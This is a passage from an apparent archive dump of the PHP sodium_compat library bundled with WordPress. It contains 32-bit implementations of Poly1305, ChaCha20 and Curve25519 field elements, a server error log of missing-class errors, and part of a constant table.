                    ->shiftRight(8)
                    ->orInt32($hibit)
            )->toInt64();

            /* h *= r */
            $d0 = $zero
                ->addInt64($h0->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h1, 27))
                ->addInt64($s3->mulInt64($h2, 27))
                ->addInt64($s2->mulInt64($h3, 27))
                ->addInt64($s1->mulInt64($h4, 27));

            $d1 = $zero
                ->addInt64($h0->mulInt64($r1, 27))
                ->addInt64($h1->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h2, 27))
                ->addInt64($s3->mulInt64($h3, 27))
                ->addInt64($s2->mulInt64($h4, 27));

            $d2 = $zero
                ->addInt64($h0->mulInt64($r2, 27))
                ->addInt64($h1->mulInt64($r1, 27))
                ->addInt64($h2->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h3, 27))
                ->addInt64($s3->mulInt64($h4, 27));

            $d3 = $zero
                ->addInt64($h0->mulInt64($r3, 27))
                ->addInt64($h1->mulInt64($r2, 27))
                ->addInt64($h2->mulInt64($r1, 27))
                ->addInt64($h3->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h4, 27));

            $d4 = $zero
                ->addInt64($h0->mulInt64($r4, 27))
                ->addInt64($h1->mulInt64($r3, 27))
                ->addInt64($h2->mulInt64($r2, 27))
                ->addInt64($h3->mulInt64($r1, 27))
                ->addInt64($h4->mulInt64($r0, 27));

            /* (partial) h %= p */
            $c = $d0->shiftRight(26);
            $h0 = $d0->toInt32()->mask(0x3ffffff);
            $d1 = $d1->addInt64($c);

            $c = $d1->shiftRight(26);
            $h1 = $d1->toInt32()->mask(0x3ffffff);
            $d2 = $d2->addInt64($c);

            $c = $d2->shiftRight(26);
            $h2 = $d2->toInt32()->mask(0x3ffffff);
            $d3 = $d3->addInt64($c);

            $c = $d3->shiftRight(26);
            $h3 = $d3->toInt32()->mask(0x3ffffff);
            $d4 = $d4->addInt64($c);

            $c = $d4->shiftRight(26);
            $h4 = $d4->toInt32()->mask(0x3ffffff);
            $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3));

            $c = $h0->shiftRight(26);
            $h0 = $h0->mask(0x3ffffff);
            $h1 = $h1->addInt32($c);

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
        }

        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $this->h = array($h0, $h1, $h2, $h3, $h4);
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
                ),
                $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
        }

        /**
         * @var ParagonIE_Sodium_Core32_Int32 $f
         * @var ParagonIE_Sodium_Core32_Int32 $g0
         * @var ParagonIE_Sodium_Core32_Int32 $g1
         * @var ParagonIE_Sodium_Core32_Int32 $g2
         * @var ParagonIE_Sodium_Core32_Int32 $g3
         * @var ParagonIE_Sodium_Core32_Int32 $g4
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        $c = $h1->shiftRight(26);           # $c = $h1 >> 26;
        $h1 = $h1->mask(0x3ffffff);         # $h1 &= 0x3ffffff;

        $h2 = $h2->addInt32($c);            # $h2 += $c;
        $c = $h2->shiftRight(26);           # $c = $h2 >> 26;
        $h2 = $h2->mask(0x3ffffff);         # $h2 &= 0x3ffffff;

        $h3 = $h3->addInt32($c);            # $h3 += $c;
        $c = $h3->shiftRight(26);           # $c = $h3 >> 26;
        $h3 = $h3->mask(0x3ffffff);         # $h3 &= 0x3ffffff;

        $h4 = $h4->addInt32($c);            # $h4 += $c;
        $c = $h4->shiftRight(26);           # $c = $h4 >> 26;
        $h4 = $h4->mask(0x3ffffff);         # $h4 &= 0x3ffffff;

        $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5);
        $c = $h0->shiftRight(26);           # $c = $h0 >> 26;
        $h0 = $h0->mask(0x3ffffff);         # $h0 &= 0x3ffffff;
        $h1 = $h1->addInt32($c);            # $h1 += $c;

        /* compute h + -p */
        $g0 = $h0->addInt(5);
        $c  = $g0->shiftRight(26);
        $g0 = $g0->mask(0x3ffffff);
        $g1 = $h1->addInt32($c);
        $c  = $g1->shiftRight(26);
        $g1 = $g1->mask(0x3ffffff);
        $g2 = $h2->addInt32($c);
        $c  = $g2->shiftRight(26);
        $g2 = $g2->mask(0x3ffffff);
        $g3 = $h3->addInt32($c);
        $c  = $g3->shiftRight(26);
        $g3 = $g3->mask(0x3ffffff);
        $g4 = $h4->addInt32($c)->subInt(1 << 26);

        # $mask = ($g4 >> 31) - 1;
        /* select h if h < p, or h + -p if h >= p */
        $mask = (int) (($g4->toInt() >> 31) + 1);

        $g0 = $g0->mask($mask);
        $g1 = $g1->mask($mask);
        $g2 = $g2->mask($mask);
        $g3 = $g3->mask($mask);
        $g4 = $g4->mask($mask);

        /** @var int $mask */
        $mask = ~$mask;

        $h0 = $h0->mask($mask)->orInt32($g0);
        $h1 = $h1->mask($mask)->orInt32($g1);
        $h2 = $h2->mask($mask)->orInt32($g2);
        $h3 = $h3->mask($mask)->orInt32($g3);
        $h4 = $h4->mask($mask)->orInt32($g4);

        /* h = h % (2^128) */
        $h0 = $h0->orInt32($h1->shiftLeft(26));
        $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20));
        $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14));
        $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8));

        /* mac = (h + pad) % (2^128) */
        $f = $h0->toInt64()->addInt64($this->pad[0]);
        $h0 = $f->toInt32();
        $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow);
        $h1 = $f->toInt32();
        $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow);
        $h2 = $f->toInt32();
        $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow);
        $h3 = $f->toInt32();

        return $h0->toReverseString() .
            $h1->toReverseString() .
            $h2->toReverseString() .
            $h3->toReverseString();
    }
}
Core32/ChaCha20.php000064400000034257151024233030007567 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20
 */
class ParagonIE_Sodium_Core32_ChaCha20 extends ParagonIE_Sodium_Core32_Util
{
    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $a
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @param ParagonIE_Sodium_Core32_Int32 $c
     * @param ParagonIE_Sodium_Core32_Int32 $d
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function quarterRound(
        ParagonIE_Sodium_Core32_Int32 $a,
        ParagonIE_Sodium_Core32_Int32 $b,
        ParagonIE_Sodium_Core32_Int32 $c,
        ParagonIE_Sodium_Core32_Int32 $d
    ) {
        /** @var ParagonIE_Sodium_Core32_Int32 $a */
        /** @var ParagonIE_Sodium_Core32_Int32 $b */
        /** @var ParagonIE_Sodium_Core32_Int32 $c */
        /** @var ParagonIE_Sodium_Core32_Int32 $d */

        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(7);

        return array($a, $b, $c, $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        /** @var ParagonIE_Sodium_Core32_Int32 $j0 */
        $j0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $j1 */
        $j1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $j2 */
        $j2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $j3 */
        $j3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $j4 */
        $j4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $j5 */
        $j5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $j6 */
        $j6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $j7 */
        $j7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $j8 */
        $j8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $j9 */
        $j9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $j10 */
        $j10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $j11 */
        $j11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
        $j12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $j13 */
        $j13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $j14 */
        $j14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $j15 */
        $j15 = $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  clone $j0;
            $x1 =  clone $j1;
            $x2 =  clone $j2;
            $x3 =  clone $j3;
            $x4 =  clone $j4;
            $x5 =  clone $j5;
            $x6 =  clone $j6;
            $x7 =  clone $j7;
            $x8 =  clone $j8;
            $x9 =  clone $j9;
            $x10 = clone $j10;
            $x11 = clone $j11;
            $x12 = clone $j12;
            $x13 = clone $j13;
            $x14 = clone $j14;
            $x15 = clone $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            $x0 = $x0->addInt32($j0);
            $x1 = $x1->addInt32($j1);
            $x2 = $x2->addInt32($j2);
            $x3 = $x3->addInt32($j3);
            $x4 = $x4->addInt32($j4);
            $x5 = $x5->addInt32($j5);
            $x6 = $x6->addInt32($j6);
            $x7 = $x7->addInt32($j7);
            $x8 = $x8->addInt32($j8);
            $x9 = $x9->addInt32($j9);
            $x10 = $x10->addInt32($j10);
            $x11 = $x11->addInt32($j11);
            $x12 = $x12->addInt32($j12);
            $x13 = $x13->addInt32($j13);
            $x14 = $x14->addInt32($j14);
            $x15 = $x15->addInt32($j15);

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  =  $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  0, 4)));
            $x1  =  $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  4, 4)));
            $x2  =  $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  8, 4)));
            $x3  =  $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)));
            $x4  =  $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4)));
            $x5  =  $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4)));
            $x6  =  $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4)));
            $x7  =  $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4)));
            $x8  =  $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4)));
            $x9  =  $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4)));
            $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4)));
            $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4)));
            $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4)));
            $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4)));
            $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4)));
            $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4)));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
            $j12 = $j12->addInt(1);
            if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) {
                $j13 = $j13->addInt(1);
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */

            $block = $x0->toReverseString() .
                $x1->toReverseString() .
                $x2->toReverseString() .
                $x3->toReverseString() .
                $x4->toReverseString() .
                $x5->toReverseString() .
                $x6->toReverseString() .
                $x7->toReverseString() .
                $x8->toReverseString() .
                $x9->toReverseString() .
                $x10->toReverseString() .
                $x11->toReverseString() .
                $x12->toReverseString() .
                $x13->toReverseString() .
                $x14->toReverseString() .
                $x15->toReverseString();

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
Core32/Curve25519/Fe.php000064400000012572151024233030010336 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core32_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int32> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                    throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32');
                }
                $array[$i]->overflow = 0;
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromIntArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        $set = array();
        /** @var int $i */
        /** @var int $v */
        foreach ($array as $i => $v) {
            $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v);
        }

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $set[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($i, $set[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) {
            throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1);
            $this->container[(int) $offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return ParagonIE_Sodium_Core32_Int32
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32();
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $get */
        $get = $this->container[$offset];
        return $get;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        if (empty($this->container)) {
            return array();
        }
        $c = array(
            (int) ($this->container[0]->toInt()),
            (int) ($this->container[1]->toInt()),
            (int) ($this->container[2]->toInt()),
            (int) ($this->container[3]->toInt()),
            (int) ($this->container[4]->toInt()),
            (int) ($this->container[5]->toInt()),
            (int) ($this->container[6]->toInt()),
            (int) ($this->container[7]->toInt()),
            (int) ($this->container[8]->toInt()),
            (int) ($this->container[9]->toInt())
        );
        return array(implode(', ', $c));
    }
}
Core32/Curve25519/error_log000064400000003516151024233030011206 0ustar00[28-Oct-2025 03:50:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[01-Nov-2025 19:07:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[03-Nov-2025 10:44:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[03-Nov-2025 10:44:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[05-Nov-2025 09:32:32 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
Core32/Curve25519/README.md000064400000000332151024233030010541 0ustar00# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
Core32/Curve25519/H.php000064400000324375151024233030010202 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core32_Curve25519_H extends ParagonIE_Sodium_Core32_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
